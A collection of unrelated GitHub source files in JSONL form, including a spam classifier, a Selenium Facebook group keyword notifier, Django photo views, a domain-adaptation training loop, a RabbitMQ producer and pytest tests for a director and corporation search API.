+{"seq_id":"71745364735","text":"import pandas as pd\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score, classification_report, confusion_matrix\n\nfrom algorithms.logistic_regression.my_logistic_regression import MyLogisticRegression\nfrom algorithms.utils import my_train_test_split\n\n\ndef spam_classification(data_file, implementation='scikit-learn'):\n    # 1. Data Preparation\n    data = pd.read_csv(data_file, low_memory=False)\n    data = data.dropna(subset=['email'])\n\n    X = data['email']\n    y = data['label'].reset_index(drop=True)  # Reset indices of y\n\n    # Text preprocessing can be enhanced further\n    X = X.str.lower().str.replace('[^a-z\\s]', '')\n\n    # Convert email content into numerical features using TF-IDF\n    tfidf = TfidfVectorizer(stop_words='english', max_features=500)\n    X_vectorized = tfidf.fit_transform(X).toarray()\n\n    # 2. Model Creation and Training\n    if implementation == 'scikit-learn':\n        X_train, X_test, y_train, y_test = train_test_split(X_vectorized, y, test_size=0.2, random_state=42)\n        model = LogisticRegression(max_iter=1000)\n    else:\n        X_train, X_test, y_train, y_test = my_train_test_split(X_vectorized, y, test_size=0.2, random_seed=42)\n\n        # Convert y_train and y_test to numpy arrays for compatibility with custom implementation\n        y_train = y_train.to_numpy()\n        y_test = y_test.to_numpy()\n\n        model = MyLogisticRegression(learning_rate=0.2, n_iters=1000)\n\n    model.fit(X_train, y_train)\n\n    # 3. Evaluation\n    y_pred = model.predict(X_test)\n    print(\"Accuracy:\", accuracy_score(y_test, y_pred))\n    print(\"Classification Report:\\n\", classification_report(y_test, y_pred, zero_division=1))\n    print(\"Confusion Matrix:\\n\", confusion_matrix(y_test, y_pred))\n","repo_name":"mizdalj/ml-algorithms","sub_path":"algorithms/logistic_regression/logistic_regression.py","file_name":"logistic_regression.py","file_ext":"py","file_size_in_byte":1876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"72268715135","text":"# 載入需要的套件\r\nimport datetime\r\nimport time\r\nimport re\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\nfrom selenium.webdriver.chrome.service import Service\r\nfrom selenium.webdriver.chrome.options import Options\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\nfrom selenium.webdriver.common.keys import Keys\r\nfrom selenium.webdriver.common.action_chains import ActionChains\r\nfrom subprocess import CREATE_NO_WINDOW\r\nfrom bs4 import BeautifulSoup\r\nfrom win10toast_click import ToastNotifier \r\nimport webbrowser\r\n\r\n# 開啟瀏覽器視窗(Chrome)\r\n# 方法一：執行前需開啟chromedriver.exe且與執行檔在同一個工作目錄\r\n# driver = webdriver.Chrome()\r\n# 方法二：或是直接指定exe檔案路徑\r\n# driver = webdriver.Chrome(“桌面\\chromedriver”)\r\n\r\n# ------ 通知 ------\r\ntoast = ToastNotifier()\r\n\r\n# ------ 設定要前往的網址 ------\r\nurl = 'https://www.facebook.com'\r\n#url = 'https://www.facebook.com/groups/696419170371204'\r\n\r\n# 設定 \"--headless\" 不顯示視窗。\r\n#chrome_options = Options()\r\n#chrome_options.add_argument(\"--headless\")\r\n\r\noptions = webdriver.ChromeOptions()\r\nprefs = {\r\n    'profile.default_content_setting_values':\r\n        {\r\n            'notifications': 2\r\n        }\r\n}\r\noptions.add_experimental_option('prefs', prefs)\r\noptions.add_argument(\"headless\")\r\noptions.add_argument('--disable-gpu')\r\nservice = Service()\r\nservice.creationflags = CREATE_NO_WINDOW\r\n\r\n# ------ 透過Browser Driver 開啟 Chrome ------\r\n#driver = webdriver.Chrome(options=chrome_options)\r\ndriver = webdriver.Chrome(options=options, service=service)\r\n\r\n# ------ 前往該網址 ------\r\ndriver.get(url)\r\n\r\n#-------- 讀取關鍵字的file 並建好keyword_list -------\r\nkeyword_file= open('keyword.txt', 'r',encoding='utf-8')\r\n\r\nkeyword_list=[]\r\nfor line in keyword_file.readlines():\r\n    keyword_list.extend(line.split(\" \"))\r\n    \r\nfor i in range(0,len(keyword_list)):\r\n    \r\n    keyword_list[i] = keyword_list[i].rstrip()  \r\n\r\n# for i in range(0,len(keyword_list)):\r\n#     # print(keyword_list[i])\r\n    \r\n#-------- 把username password 用使用者的帶入------\r\nusername = keyword_list[0]\r\npassword = keyword_list[1]\r\n\r\n# ------ 輸入賬號密碼 ------\r\nWebDriverWait(driver, 30).until(EC.presence_of_element_located((By.XPATH, '//*[@id=\"email\"]')))\r\nelem = driver.find_element(By.ID, \"email\")\r\nelem.send_keys(username)\r\n\r\nelem = driver.find_element(By.ID, \"pass\")\r\nelem.send_keys(password)        \r\n\r\nelem.send_keys(Keys.RETURN)\r\ntime.sleep(5)\r\n\r\npostID_set = set()\r\n\r\npost_div_class = [\"kvgmc6g5 cxmmr5t8 oygrvhab hcukyx3x c1et5uql ii04i59q\", \r\n                \"cxmmr5t8 oygrvhab hcukyx3x c1et5uql o9v6fnle ii04i59q\"]\r\nname_div_class = [\"oajrlxb2 gs1a9yip g5ia77u1 mtkw9kbi tlpljxtp qensuy8j ppp5ayq2 goun2846 ccm00jje s44p3ltw mk2mc5f4 rt8b4zig n8ej3o3l agehan2d sk4xxmp2 rq0escxv nhd2j8a9 mg4g778l pfnyh3mw p7hjln8o kvgmc6g5 cxmmr5t8 oygrvhab hcukyx3x tgvbjcpo hpfvmrgz jb3vyjys rz4wbd8a qt6c0cv9 a8nywdso l9j0dhe7 i1ao9s8h esuyzwwr f1sip0of du4w35lb n00je7tq arfg74bv qs9ysxi8 k77z8yql btwxx1t3 abiwlrkh p8dawk7l lzcic4wl oo9gr5id q9uorilb\"]\r\nemoji_span_class = [\"pq6dq46d tbxw36s4 knj5qynh kvgmc6g5 ditlmg2l oygrvhab nvdbi5me sf5mxxl7 rgmg9uty b73ngqbp\", \r\n                    \"pq6dq46d tbxw36s4 knj5qynh kvgmc6g5 ditlmg2l oygrvhab nvdbi5me sf5mxxl7 gl3lb2sf hhz5lgdu\"]\r\n\r\n#---- 處理html tag for 貼文內容 ----\r\ndef getPostText(s):\r\n    # 換行\r\n\r\n    for class_name in post_div_class:\r\n        pattern = '<div class=\"' + class_name + '\">(.+)</div>' \r\n        content = re.findall(pattern, s)\r\n        if(content != []):\r\n            content = content[0]\r\n            s = s.replace('<div class=\"' + class_name + '\">' + content + '</div>', content + '\\n')\r\n\r\n    pattern = '<div dir=\"auto\" style=\"text-align:start\">(.+?)</div>'\r\n    text_list = re.findall(pattern, s)\r\n    for text in text_list:\r\n        s = s.replace('<div dir=\"auto\" style=\"text-align:start\">' + text + '</div>', text + '\\n')\r\n    pattern = '(.+?)<br>'\r\n    text_list = re.findall(pattern, s)\r\n    for text in text_list:\r\n        s = s.replace(text + '<br>', text + '\\n')\r\n\r\n    # 表情符號\r\n    for class_name in emoji_span_class:\r\n        pattern = '<span class=\"' + class_name + '\"><img alt=\"(.+?)\" height=\"16\" referrerpolicy=\"origin-when-cross-origin\" src=\"(.+?)\" width=\"16\"/></span>'\r\n        emoji_src_list = re.findall(pattern, s)\r\n        for ele in emoji_src_list:\r\n            emoji = ele[0]\r\n            src = ele[1]\r\n            s = s.replace('<span class=\"' + class_name + '\"><img alt=\"' + emoji + '\" height=\"16\" referrerpolicy=\"origin-when-cross-origin\" src=\"' + src + '\" width=\"16\"/></span>', emoji)\r\n\r\n\r\n    return s\r\n\r\n#---- 找尋貼文者名字 ----\r\ndef getPosterName(s):\r\n    for class_name in name_div_class:\r\n        pattern = 'aria-label=\"([^\"]+)\" class=\"' + class_name + '\"'\r\n        name = re.findall(pattern, s)\r\n        if(name != []):\r\n            return name[0]\r\n    return None\r\n    \r\n\r\n#---- 在文章中找尋是否有關鍵字以及是哪些關鍵字 ----\r\ndef keyword_find(All_Post_context,keyword_list):\r\n    \r\n    key=0\r\n    keyword_output=[]\r\n    for i in range(2,len(keyword_list)):\r\n        \r\n        if All_Post_context.find(keyword_list[i]) != -1:\r\n            key=1\r\n            # print(keyword_list[i])\r\n            keyword_output.append(keyword_list[i])\r\n        \r\n    if key==1:\r\n            return keyword_output\r\n    else:\r\n            return None\r\n\r\nlink = ''\r\ndef toPostURL():\r\n    webbrowser.open_new(link)\r\n    \r\npath = 'post.txt'\r\nf = open(path, 'w', encoding='utf-8')\r\nprint('',end='', file = f) \r\n\r\nwhile True:\r\n    group_url = 'https://www.facebook.com/groups/875700903111302'\r\n    driver.get(group_url)\r\n\r\n    actions = ActionChains(driver)\r\n    for i in range(3):\r\n        actions.send_keys(Keys.END)\r\n        actions.perform()\r\n        time.sleep(2)\r\n\r\n    time.sleep(5)\r\n    Group_HTML = driver.page_source\r\n    pattern = '\"subscription_target_id\":\"([0-9]+)\"'\r\n    postID_list = re.findall(pattern, Group_HTML)\r\n    pattern = \"https://www.facebook.com/groups/875700903111302/posts/([0-9]+)\"\r\n    postID_list += re.findall(pattern, Group_HTML)\r\n    #print(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'))\r\n    #print(postID)\r\n\r\n    for ID in postID_list:\r\n        if ID in postID_set:\r\n            continue\r\n        \r\n        driver.get(\"https://www.facebook.com/groups/875700903111302/posts/\" + ID)\r\n        Post_HTML = driver.page_source\r\n        \r\n        fpath = 'html.txt'\r\n        F = open(fpath, 'w', encoding='utf-8')\r\n        print(Post_HTML, file = F)\r\n        F.close()\r\n\r\n        soup = BeautifulSoup(Post_HTML, 'html.parser')\r\n\r\n        #---- 尋找貼文內容 ----\r\n        All_Post_context = ''\r\n        for class_name in post_div_class:\r\n            Post_context_list = soup.find_all(attrs={\"class\": class_name})\r\n            for Post_context in Post_context_list:\r\n                All_Post_context += getPostText(str(Post_context))\r\n\r\n        #---- 尋找關鍵字 ----\r\n        Post_keyword_list = keyword_find(All_Post_context,keyword_list)\r\n        if (Post_keyword_list != None):\r\n            link = \"https://www.facebook.com/groups/875700903111302/posts/\" + ID\r\n            \r\n            Poster_name = getPosterName(Post_HTML)\r\n\r\n            if( Poster_name != None):\r\n                title = '貼文中含關鍵字'\r\n                for Post_keyword in Post_keyword_list:\r\n                    title += ' [' + Post_keyword + ']' \r\n\r\n                content = Poster_name + '\\n' + All_Post_context\r\n                   \r\n                f = open(path, 'a', encoding='utf-8') \r\n                print(title, file = f)  \r\n                print(link, file = f)\r\n                print(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'), file = f)\r\n                print(content + '\\n', file = f)\r\n                f.close()\r\n\r\n                toast.show_toast(title, content, duration=10, callback_on_click = toPostURL)\r\n        postID_set.add(ID)\r\n        time.sleep(5)\r\n\r\n\r\ndriver.quit()\r\n\r\n","repo_name":"MMeiiii/CCU_Python","sub_path":"FB_Notify.py","file_name":"FB_Notify.py","file_ext":"py","file_size_in_byte":8111,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"28581556198","text":"#!/usr/bin/python3\n\nfrom gestionDegats import *\n\ndef fight(Joueur, Monstre):\n\n    while(Joueur[1] >= 0 and Monstre[1] >= 0):\n        Monstre[1] = gestionDegats(Monstre[1], Joueur[2], Monstre[3])\n        print(f\"Lejoueur {Joueur[0]} attaque : Il reste au monstre {Monstre[0]} {Monstre[1]} points de vie\")\n        if (Monstre[1] >= 0):\n            Joueur[1] = gestionDegats(Joueur[1], Monstre[2], Joueur[3])\n            print(f\"{Monstre[0]} attaque : Il reste à {Joueur[0]} {Joueur[1]} points de vie\")\n    if(Joueur[1] > 0):\n        print(f\"Le joueur a vaincu le terrible {Monstre[0]}!\")\n    return Joueur","repo_name":"titan-figue/jeucombat","sub_path":"fight.py","file_name":"fight.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"18339792770","text":"import os\n\nfrom django.shortcuts import render, redirect\nfrom django.contrib.auth.decorators import login_required\nfrom django.conf import settings\n\nfrom .forms import PictureForm\nfrom .models import Picture\n\n\n# Create your views here.\ndef index(request):\n    return render(request, \"photo_app/index.html\", context={\"title\": \"Main Page\"})\n\n\n@login_required\ndef view_pictures(request):\n    pictures = Picture.objects.filter(user=request.user).all()\n    return render(request, \"photo_app/pictures.html\", context={\"title\": \"Pictures Page\",\n                                                               \"pictures\": pictures})\n\n\n@login_required\ndef upload(request):\n    form = PictureForm(instance=Picture())\n    if request.method == \"POST\":\n        form = PictureForm(request.POST, request.FILES, instance=Picture())\n        if form.is_valid():\n            picture = form.save(commit=False)\n            picture.user = request.user\n            picture.save()\n            return redirect(to=\"photo_app:pictures\")\n    return render(request, \"photo_app/upload.html\", context={\"title\": \"Upload Page\", \"form\": form})\n\n\n@login_required\ndef edit(request, img_id):\n    if request.method == \"POST\":\n        description = request.POST.get(\"description\")\n        Picture.objects.filter(pk=img_id, user=request.user).update(description=description)\n        return redirect(to=\"photo_app:pictures\")\n\n    pic = Picture.objects.filter(pk=img_id, user=request.user).first()\n    return render(request, \"photo_app/change.html\", context={\"title\": \"Change description\", \"pic\": pic})\n\n\n@login_required\ndef remove(request, img_id):\n    pic = Picture.objects.filter(pk=img_id, user=request.user)\n    try:\n        os.unlink(os.path.join(settings.MEDIA_ROOT, str(pic.first().path)))\n    except OSError as e:\n        print(e)\n    pic.delete()\n    return redirect(to=\"photo_app:pictures\")\n","repo_name":"GoIT-Python-Web/PyWeb12","sub_path":"m12_10_02/my_app/photo_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1858,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"79"}
+{"seq_id":"34598583008","text":"from Utilities.Imports import *\nfrom Utilities.Configuration_Utils import *\nfrom Utilities.Data_Utils import *\nfrom Utilities.Adaption_Utils import *\nfrom Utilities.Model_Utils import *\nfrom Utilities.Training_Utils import *\nfrom Utilities.Evaluation_Utils import *\nfrom Utilities.Logging_Utils import *\n\nparser = argparse.ArgumentParser()\nparser = GetParser(parser)\n\n\ndef RunCofiguration(hp):\n    print('--------- Beginning experiment %s ---------' % hp.ExpName)\n\n    ## ----- Load dataset-----\n    print('Loading datasets')\n    train_loader, test_loader, val_loader, n_classes = get_datasets(hp)\n    train_iter, val_iter = [get_iterator(x) for x in [train_loader, val_loader]]\n\n    ## ----- Load model + optimizer initializations-----\n    device = torch.device(\"cuda:%g\" % hp.GPU if (torch.cuda.is_available() and hp.GPU >= 0) else \"cpu\")\n    net = get_model(hp, n_classes, device)\n    net.to(device)\n    optimizer = get_optimizer(net, hp)\n\n    ## ----- Initialize logger-----\n    logger = MyLogger(n_classes)\n    if hp.LogToWandb:\n        get_initialized_wandb_logger(hp)\n\n    ## ----- Train model----- \n    criterion = get_objective(hp)\n    progress_bar = tqdm(range(hp.NumberOfBatches),\n                        desc=\"Training model\",\n                        bar_format=\"{desc:20}{percentage:2.0f}{r_bar}\")\n    for batch in progress_bar:\n        net.train()\n        src_img, src_label, tgt_img, tgt_label = next(train_iter)\n        src_img, tgt_img = (x.to(device, dtype=torch.float) for x in [src_img, tgt_img])\n\n        src_label, tgt_label = (x.to(device, dtype=torch.long) for x in [src_label, tgt_label])\n        (src_pred, src_feature), (tgt_pred, tgt_feature) = [net(x) for x in [src_img, tgt_img]]\n\n        optimizer.zero_grad()\n\n        # -----Explicit losses-----\n        loss_s = criterion(src_pred, src_label)\n        loss_t = criterion(tgt_pred, tgt_label)\n\n        # -----DA losses-----\n        if hp.Method == 'SDA_IO':\n            loss_cdca = get_cdca_term(src_feature, tgt_feature, src_label, tgt_label, n_classes, criterion,hp)\n            loss_uda = get_uda_term(src_feature, tgt_feature, hp)\n            loss = hp.Coeffs[0] * loss_s + hp.Coeffs[1] * loss_t + hp.Coeffs[2] * loss_uda + hp.Coeffs[3] * loss_cdca\n        if hp.Method == 'dSNE':\n            loss_dsne = dsne_loss(src_feature, src_label, tgt_feature, tgt_label)\n            loss = hp.Coeffs[0] * loss_s + hp.Coeffs[1] * loss_t + hp.Coeffs[4] * loss_dsne\n        if hp.Method == 'CCSA':\n            loss_csca = ccsa_loss(src_feature, tgt_feature,\n                                  (src_label == tgt_label).float())\n            loss = hp.Coeffs[0] * loss_s + hp.Coeffs[4] * loss_csca\n        if hp.Method == 'NEM':\n            loss_nem = nem_loss(tgt_img, src_feature, tgt_feature, src_label, tgt_label)\n            loss = hp.Coeffs[0] * loss_s + hp.Coeffs[1] * loss_t + hp.Coeffs[4] * loss_nem\n        if hp.Method == 'S-Only':\n            loss =  loss_s\n        if hp.Method == 'T-Only':\n            loss =  loss_t\n        if hp.Method == 'S+T':\n            loss = hp.Coeffs[0] * loss_s + hp.Coeffs[1] * loss_t\n\n        loss.backward()\n        optimizer.step()\n\n        # ----- Train Monitoring -----\n        if hp.MonitorTraining:\n            if n_classes>0:\n                train_acc_src = get_acc(src_pred, src_label)\n                train_acc_tgt = get_acc(tgt_pred, tgt_label)\n            else:\n                train_acc_src,train_acc_tgt= -1,-1\n        # ----- Val Monitoring -----\n        if batch % hp.ValMonitoringFactor == 0:\n            with torch.no_grad():\n                net.eval()\n                src_img, src_label, tgt_img, tgt_label = next(val_iter)\n                src_img, tgt_img = (x.to(device, dtype=torch.float) for x in [src_img, tgt_img])\n                src_label, tgt_label = (x.to(device, dtype=torch.long) for x in [src_label, tgt_label])\n                src_pred, tgt_pred = [net(x) for x in [src_img, tgt_img]]\n\n                val_loss_s = criterion(src_pred, src_label)\n                val_loss_t = criterion(tgt_pred, tgt_label)\n\n                if n_classes > 0:\n                    val_acc_src = get_acc(src_pred, src_label)\n                    val_acc_tgt= get_acc(tgt_pred, tgt_label)\n                else:\n                    val_acc_src,val_acc_tgt=-1,-1\n        else:\n            val_loss_s, val_loss_t, val_acc_src, val_acc_tgt = -1, -1, -1, -1\n\n        # ----- Logging -----\n        if hp.MonitorTraining:\n            logger.update(hp, batch, loss_s, loss_t, val_loss_s, val_loss_t,\n                          train_acc_src, train_acc_tgt, val_acc_src, val_acc_tgt)\n            logger.update_progress_bar(hp, batch, progress_bar)\n        if hp.LogToWandb:\n            log_to_wandb(hp, batch, loss_s, loss_t, val_loss_s, val_loss_t,\n                         train_acc_src, train_acc_tgt, val_acc_src, val_acc_tgt)\n\n    ## ----- Evaluate on test and log results-----\n    src_test_metrics, tgt_test_metrics = [perf_eval(hp,net, test_loader, BatchLim=100, Domain=domain,\n                                             Text='Evaluating test datapoints from the %s domain' % domain) for domain\n                                    in ['Src', 'Tgt']]\n    src_train_metrics, tgt_train_metrics= [perf_eval(hp,net, train_loader, BatchLim=100, Domain=domain,\n                                               Text='Evaluating train datapoints from the %s domain' % domain) for\n                                      domain in ['Src', 'Tgt']]\n\n    log_results(hp, src_train_metrics, tgt_train_metrics, src_test_metrics, tgt_test_metrics)\n\n\n##\nif __name__ == \"__main__\":\n    args = parser.parse_args()\n    hp = GetConfFromArgs(args)\n    RunCofiguration(hp)\n","repo_name":"SDA-Submission/Supervised-Domain-Adaptation-Based-on-Marginal-and-Conditional-Distributions-Alignment","sub_path":"RunExperiment.py","file_name":"RunExperiment.py","file_ext":"py","file_size_in_byte":5667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"10336386410","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport logging\nimport pika\n\nlogger = logging.getLogger(__name__)\n\n\nclass RabMQProducer(object):\n    def __init__(self,\n                 host='127.0.0.1',\n                 port=5672,\n                 virtual_host='/',\n                 heartbeat=30,\n                 connection_attempts=3,\n                 username='guest',\n                 password='guest'):\n\n        self._durable = None\n        self._exchange = None\n\n        credentials = pika.PlainCredentials(username, password)\n        self._url = pika.ConnectionParameters(host=host,\n                                              port=port,\n                                              virtual_host=virtual_host,\n                                              credentials=credentials,\n                                              heartbeat=heartbeat)\n\n        self._conn = None\n        self._channel = None\n        self._all_exchange = {}\n\n        self._exchange_name = None\n        self._exchange_type = 'direct'\n        self._queue_name = []\n        self._routingkey = []\n        self._durable = True\n        self._connection_attempts = connection_attempts\n        self._rk_q_dic = {}\n\n        self.connect()\n\n    def connect(self):\n        self._conn = pika.BlockingConnection(self._url)\n        self._channel = self._conn.channel()\n\n    def publish(self, exchange, routingkey, body, exchange_type='topic', durable=True):\n        if self._conn and self._conn.is_open and self._channel.is_open:\n            try:\n                logger.info(f\"RabMQProducer publish, exchange: {exchange}, routingkey: {routingkey}, body: {body}\")\n                self._channel.exchange_declare(exchange=exchange, exchange_type=exchange_type, durable=durable)\n            except:\n                logger.error(f'RabMQProducer publish, exchange declare except, reconnectd...')\n            try:\n                if durable:\n                    self._channel.basic_publish(\n                        exchange=exchange,\n                        routing_key=routingkey,\n                        body=body,\n                        properties=pika.BasicProperties(delivery_mode=2))\n                else:\n                    self._channel.basic_publish(\n                        exchange=exchange,\n                        routing_key=routingkey,\n                        body=body)\n\n                self._connection_attempts = 3\n            except:\n                logger.error(f'RabMQProducer publish, send msg except, reconnectd...')\n                self.reconnt(exchange, routingkey, body, exchange_type, durable)\n        else:\n            self.reconnt(exchange, routingkey, body, exchange_type, durable)\n\n    def reconnt(self, exchange, routingkey, body, exchange_type, durable):\n        self._connection_attempts -= 1\n        if self._connection_attempts < 0:\n            raise SyntaxError('connect mq error')\n\n        self.close()\n        self.connect()\n        self.publish(exchange, routingkey, body, exchange_type, durable)\n\n    def init(self, exchange, exchange_type, queuename=None, routing_keys=None, durable=True):\n        if self._exchange_name and self._exchange_name != exchange:\n            raise ValueError(\"only support one exchange\")\n\n        if self._exchange_type:\n            self._exchange_type = exchange_type\n\n        tmpkeys = []\n        if isinstance(routing_keys, list):\n            tmpkeys = routing_keys\n            self._routingkey += routing_keys\n            for rk in routing_keys:\n                self._rk_q_dic[rk] = queuename\n\n        elif isinstance(routing_keys, str):\n            self._routingkey.append(routing_keys)\n            self._rk_q_dic[routing_keys] = queuename\n            tmpkeys.append(routing_keys)\n\n        self._durable = durable\n\n        if not self._exchange_name:\n            self._exchange_name = exchange\n            self.exchange_declare()\n\n        if isinstance(queuename, str):\n            if not queuename in self._queue_name:\n                self._queue_name.append(queuename)\n\n            self.queue_declare(queuename, tmpkeys)\n\n    def exchange_declare(self):\n        self._channel.exchange_declare(\n            exchange=self._exchange_name,\n            exchange_type=self._exchange_type,\n            durable=self._durable)\n\n    def queue_declare(self, queuename, rks):\n\n        self.binding_queue(queuename)\n\n        # exchange, queue, bind\n        for rk in rks:\n            self.binding_queue_rk(queuename, rk)\n\n    def binding_queue(self, queue):\n        if queue:\n            self._channel.queue_declare(queue=queue, durable=self._durable)\n\n    def binding_queue_rk(self, queue_name, rk):\n        self._channel.queue_bind(exchange=self._exchange_name, queue=queue_name, routing_key=rk)\n\n    def close(self):\n        \"\"\"\n        close\n        \"\"\"\n        # if self._conn and self._conn.is_open:\n        if self._conn:\n            try:\n                self._conn.close()\n            except Exception:\n                logger.error(f'RabMQProducer close connect except...')\n                pass\n","repo_name":"AiKidY/notice_service_backend","sub_path":"src/tools/rabbitmq.py","file_name":"rabbitmq.py","file_ext":"py","file_size_in_byte":5034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"14916872683","text":"''' Types of inheritance Python\n    1. Single inheritance\n    2. Multi inheritance\n    3. Multilevel inheritance\n    4. Hierarchical inheritance\n    5. Hybrid inheritance\n'''\n\n\n# Base class\nclass Vechicle:\n    def __init__(self, name, model, color):\n        self.name = name\n        self.model = model\n        self.color = color\n\n\n# 1. Single inheritance\n# Derived class\nclass Bus(Vechicle):\n    def busDetails(self):\n        self.name = self.name.capital   \n        self.model = self.model.busDetails\n        self.color = self.color.capital\n     \n# Driver's code\nobject = Bus()\nobject.__init__()\nobject.busDetails()","repo_name":"SaileshRokaya/Django-Course-By-Code-Himalaya","sub_path":"BasicPython/ClassExercise/Inheritance.py","file_name":"Inheritance.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"10379437172","text":"import json\nfrom jsonschema import validate\n\nfrom tests.utilities.factory_utils import factory_auth_header\nfrom tests.utilities.factory_scenarios import TestJwtClaims\nfrom search_api import status as http_status\n\nDIRSEARCH_SCHEMA = json.loads(open('tests/unit/schema/director-result.json').read())\nCORPSEARCH_SCHEMA = json.loads(open('tests/unit/schema/corporation-result.json').read())\n\n\ndef _dir_search(client, jwt, params):\n    \"\"\"\n    Director search helper function.\n\n    @param params - str - ?field=lastNme&operator=exact&value=john&mode=ALL&page=1&sort_type=dsc&\n    sort_value=lastNme&additional_cols=none\n    \"\"\"\n    headers = factory_auth_header(jwt=jwt, claims=TestJwtClaims.staff_role)\n\n    rv = client.get('/api/v1/directors/{}'.format(params), headers=headers, content_type='application/json')\n\n    assert rv.status_code == http_status.HTTP_200_OK\n    result = json.loads(rv.data)\n    validate(result, schema=DIRSEARCH_SCHEMA)\n    return result\n\n\ndef test_search_directors_sort(client, jwt, session):  # pylint:disable=unused-argument\n    \"\"\"Assert that directors can be searched via GET.\"\"\"\n    dictionary = _dir_search(\n        client,\n        jwt,\n        '?field=firstNme&operator=contains&value=ad&mode=ALL&page=1&sort_type=asc&'\n        'sort_value=middleNme&additional_cols=none',\n    )\n    assert len(dictionary['results']) == 3\n    assert dictionary['results'][0]['middleNme'] == 'Lewis'\n\n\ndef test_search_directors_xlsx_export(client, jwt, session):  # pylint:disable=unused-argument\n    \"\"\"Assert that directors can be searched via GET.\"\"\"\n    headers = factory_auth_header(jwt=jwt, claims=TestJwtClaims.no_role)\n\n    client.get(\n        '/api/v1/directors/export/?field=firstNme&operator=exact&value=Lillian&mode=ALL&page=1&sort_type=asc&'\n        'sort_value=lastNme&additional_cols=none',\n        headers=headers,\n        content_type='application/json',\n    )\n\n\ndef test_search_directors_first_name_exact(client, jwt, session):  # pylint:disable=unused-argument\n    \"\"\"Assert that directors can be searched via GET.\"\"\"\n    dictionary = _dir_search(\n        client,\n        jwt,\n        '?field=firstNme&operator=exact&value=abc&mode=ALL&page=1&sort_type=asc&'\n        'sort_value=lastNme&additional_cols=none',\n    )\n    print(dictionary)\n    assert len(dictionary['results']) == 5\n    assert dictionary['results'][0]['lastNme'].lower() == 'patten'\n\n\ndef test_search_directors_addr(client, jwt, session):  # pylint:disable=unused-argument\n    \"\"\"Assert that directors can be searched via GET.\"\"\"\n    dictionary = _dir_search(\n        client,\n        jwt,\n        '?field=addr&operator=contains&value=131%20Rue%20North&mode=ALL&page=1&sort_type=dsc&'\n        'sort_value=lastNme&additional_cols=addr',\n    )\n    assert len(dictionary['results']) == 2\n    assert 'lastNme' in dictionary['results'][0]\n\n\ndef test_search_directors_any_name(client, jwt, session):  # pylint:disable=unused-argument\n    \"\"\"Assert that directors can be searched via GET.\"\"\"\n    dictionary = _dir_search(\n        client,\n        jwt,\n        '?field=anyNme&operator=contains&value=black&mode=ALL&page=1&sort_type=dsc&'\n        'sort_value=lastNme&additional_cols=none',\n    )\n    assert len(dictionary['results']) == 3\n\n\ndef test_search_directors_any_postal_code(client, jwt, session):  # pylint:disable=unused-argument\n    \"\"\"Assert that directors can be searched via GET.\"\"\"\n    # search for postal code with a space in the middle\n    dictionary = _dir_search(\n        client,\n        jwt,\n        '?field=postalCd&operator=exact&value=H2B%202X7&mode=ALL&page=1&sort_type=dsc&'\n        'sort_value=lastNme&additional_cols=addr',\n    )\n    assert len(dictionary['results']) == 2\n\n    # search for postal code without a space in the middle\n    dictionary = _dir_search(\n        client,\n        jwt,\n        '?field=postalCd&operator=exact&value=H2B2X7&mode=ALL&page=1&sort_type=dsc&'\n        'sort_value=lastNme&additional_cols=addr',\n    )\n    assert len(dictionary['results']) == 2\n\n\n# Search by corp num disabled.\ndef test_search_corporations(client, jwt, session):  # pylint: disable=unused-argument\n    \"\"\"Check the offices-held service.\"\"\"\n    headers = factory_auth_header(jwt=jwt, claims=TestJwtClaims.no_role)\n\n    rv = client.get(\n        '/api/v1/businesses/?query=1234567890&page=1&sort_type=dsc&search_field=corpNum&sort_value=corpNme',\n        headers=headers,\n        content_type='application/json',\n    )\n\n    assert rv.status_code == http_status.HTTP_200_OK\n\n    dictionary = json.loads(rv.data)\n\n    validate(dictionary, schema=CORPSEARCH_SCHEMA)\n\n    assert dictionary['results'][0]['corpNum'] == '1234567890'\n\n    assert len(dictionary['results']) == 1\n\n\ndef test_search_corporations_name(client, jwt, session):  # pylint: disable=unused-argument\n    \"\"\"Check we can search a corp by name.\"\"\"\n    headers = factory_auth_header(jwt=jwt, claims=TestJwtClaims.no_role)\n\n    rv = client.get(\n        '/api/v1/businesses/?query=pembina&page=1&sort_type=dsc&sort_value=corpNme',\n        headers=headers,\n        content_type='application/json',\n    )\n\n    assert rv.status_code == http_status.HTTP_200_OK\n\n    dictionary = json.loads(rv.data)\n\n    validate(dictionary, schema=CORPSEARCH_SCHEMA)\n\n    assert dictionary['results'][0]['corpNum'] == '1234567890'\n\n    assert len(dictionary['results']) == 1\n\n\ndef test_search_corporations_xlsx_export(client, jwt, session):  # pylint: disable=unused-argument\n    \"\"\"Check we can export corps.\"\"\"\n    headers = factory_auth_header(jwt=jwt, claims=TestJwtClaims.no_role)\n\n    rv = client.get(\n        '/api/v1/businesses/export/?query=pembina&page=1&sort_type=dsc&sort_value=corpNme',\n        headers=headers,\n        content_type='application/json',\n    )\n\n    assert rv.status_code == http_status.HTTP_200_OK\n\n\ndef test_get_director(client, jwt, session):  # pylint:disable=unused-argument\n    \"\"\"Assert that a director can be retrieved via GET.\"\"\"\n    headers = factory_auth_header(jwt=jwt, claims=TestJwtClaims.no_role)\n    rv = client.get('/api/v1/directors/22', headers=headers, content_type='application/json')\n\n    assert rv.status_code == 